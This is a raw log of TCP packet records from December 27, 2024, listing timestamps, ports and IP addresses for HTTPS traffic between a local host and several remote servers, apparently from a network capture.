Dec 27, 2024 08:20:37.992665052 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:37.992753983 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:37.993186951 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:37.993202925 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:38.215512991 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:38.215557098 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:38.215656042 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:38.215928078 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:38.215945959 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:38.343466997 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:38.343585014 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:38.343683958 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:38.343851089 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:38.343883991 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:38.343945980 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:38.344141960 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:38.344183922 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:38.344261885 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:38.344275951 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:38.565309048 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:38.565391064 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:38.566807985 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:38.566826105 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:38.566898108 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:38.568640947 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:38.568656921 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:38.570091963 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:38.570101023 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:38.573018074 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:38.573024988 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.015264988 CET	49828	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.015336037 CET	443	49828	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.015439034 CET	49828	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.016047955 CET	49829	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.016086102 CET	443	49829	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.016160011 CET	49829	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.016458988 CET	49829	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.016473055 CET	443	49829	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.016861916 CET	49828	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.016881943 CET	443	49828	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.145940065 CET	49830	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.145984888 CET	443	49830	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.146136999 CET	49830	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.148118019 CET	49830	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.148134947 CET	443	49830	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.498044014 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:39.523232937 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:39.523277044 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:39.524358034 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:39.524430990 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:39.560612917 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:39.560873032 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:39.616497993 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:39.616525888 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:39.632169962 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.632232904 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.632236004 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.632283926 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.635919094 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.635936022 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.658183098 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.659472942 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.659499884 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.660643101 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.660721064 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.663265944 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.663355112 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.663788080 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.663805008 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.730756044 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.745618105 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.745999098 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.746009111 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.747051001 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.747122049 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.749751091 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.749810934 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.750519991 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.750528097 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:39.803425074 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:39.803607941 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:39.822654009 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.825335979 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.827532053 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.834086895 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.834109068 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.835133076 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.835329056 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.837665081 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.837694883 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840208054 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840225935 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840457916 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840483904 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840542078 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840560913 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840569973 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840574980 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840615034 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840626001 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840653896 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840662003 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840852022 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840858936 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.840909004 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.840918064 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841012001 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841020107 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841067076 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841075897 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841160059 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841170073 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841214895 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841223001 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841289043 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841299057 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841351986 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841371059 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841672897 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841681957 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.841727972 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:39.841732979 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:39.852096081 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.852205038 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.855685949 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.855700016 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:39.908776045 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:39.991908073 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.993319035 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:39.993347883 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.993730068 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.993745089 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.993803024 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:39.993810892 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.993978024 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:39.994460106 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.996848106 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:39.996921062 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:39.997265100 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.043339968 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.088228941 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.088327885 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.088531017 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.089400053 CET	49820	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.089443922 CET	443	49820	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.113482952 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.113509893 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.176879883 CET	49829	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.183012962 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.183053970 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.183307886 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.183649063 CET	49828	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.184223890 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:40.184303045 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:40.184509993 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:40.184523106 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.184544086 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:40.184581041 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.184592962 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:40.184674025 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.185024023 CET	49830	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.185307980 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.185317039 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.185544968 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.187748909 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.187763929 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.187908888 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.187939882 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.188137054 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.188147068 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.198043108 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.198098898 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.198193073 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.198431969 CET	49821	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.198443890 CET	443	49821	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.223332882 CET	443	49829	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.227348089 CET	443	49830	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.229002953 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:40.229041100 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:40.229269028 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:40.229989052 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:40.230005980 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:40.231344938 CET	443	49828	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.265978098 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.266048908 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.266788006 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.266978979 CET	49823	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.266992092 CET	443	49823	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.302541018 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.460927010 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.460947990 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.461014986 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.461497068 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.461524010 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.461714029 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.461725950 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.461733103 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.461862087 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.461875916 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.489743948 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.489764929 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.490046978 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.490175962 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.490211010 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.490319967 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.490525007 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.490535975 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.490588903 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.490809917 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.490830898 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.490902901 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.491211891 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.491226912 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.491364002 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.491391897 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.491467953 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.491480112 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.491589069 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.491610050 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.526751041 CET	443	49830	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.526850939 CET	443	49830	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:40.526904106 CET	49830	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.526942968 CET	49830	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:40.579206944 CET	443	49828	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.579323053 CET	443	49828	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.579324007 CET	49828	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.579375029 CET	49828	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.624077082 CET	443	49829	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.624193907 CET	443	49829	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.624202013 CET	49829	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.624298096 CET	49829	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.688759089 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.692821980 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.692888021 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.692917109 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.704246044 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.704340935 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.704349041 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.713968039 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.714061975 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.714081049 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.726519108 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.726675987 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.726685047 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.740113020 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.740214109 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.740226030 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.753734112 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.753808975 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.753814936 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.812396049 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.812452078 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.812462091 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.820728064 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.820780039 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.820787907 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.823023081 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.823069096 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.823147058 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.823462963 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:40.823479891 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:40.903064966 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.903114080 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.903135061 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.903156042 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.903196096 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.910314083 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.917340994 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.917414904 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.917422056 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.924529076 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.924591064 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.924597979 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.936183929 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.936258078 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.936264992 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.941229105 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.941526890 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.941534042 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.951041937 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.951107979 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.951114893 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.964534998 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.964617968 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.964632034 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.978177071 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.978344917 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.978355885 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.990854979 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:40.990923882 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:40.990936041 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.002448082 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.002523899 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.002532959 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.014172077 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.014247894 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.014255047 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.025918961 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.025978088 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.025993109 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.037744045 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.037800074 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.037811041 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.064106941 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.064179897 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.064203024 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.064941883 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.065032005 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.065047979 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.105531931 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.105550051 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.110007048 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.110080957 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.110089064 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.116506100 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.116580009 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.116590023 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.120745897 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.120800972 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.120810032 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.124963999 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.125081062 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.125137091 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.125144958 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.125228882 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.129412889 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.133575916 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.133636951 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.133646011 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.137711048 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.137779951 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.137788057 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.144186020 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.144253016 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.144259930 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.148183107 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.148233891 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.148241043 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.152961969 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.153033018 CET	49817	443	192.168.2.5	142.250.181.65
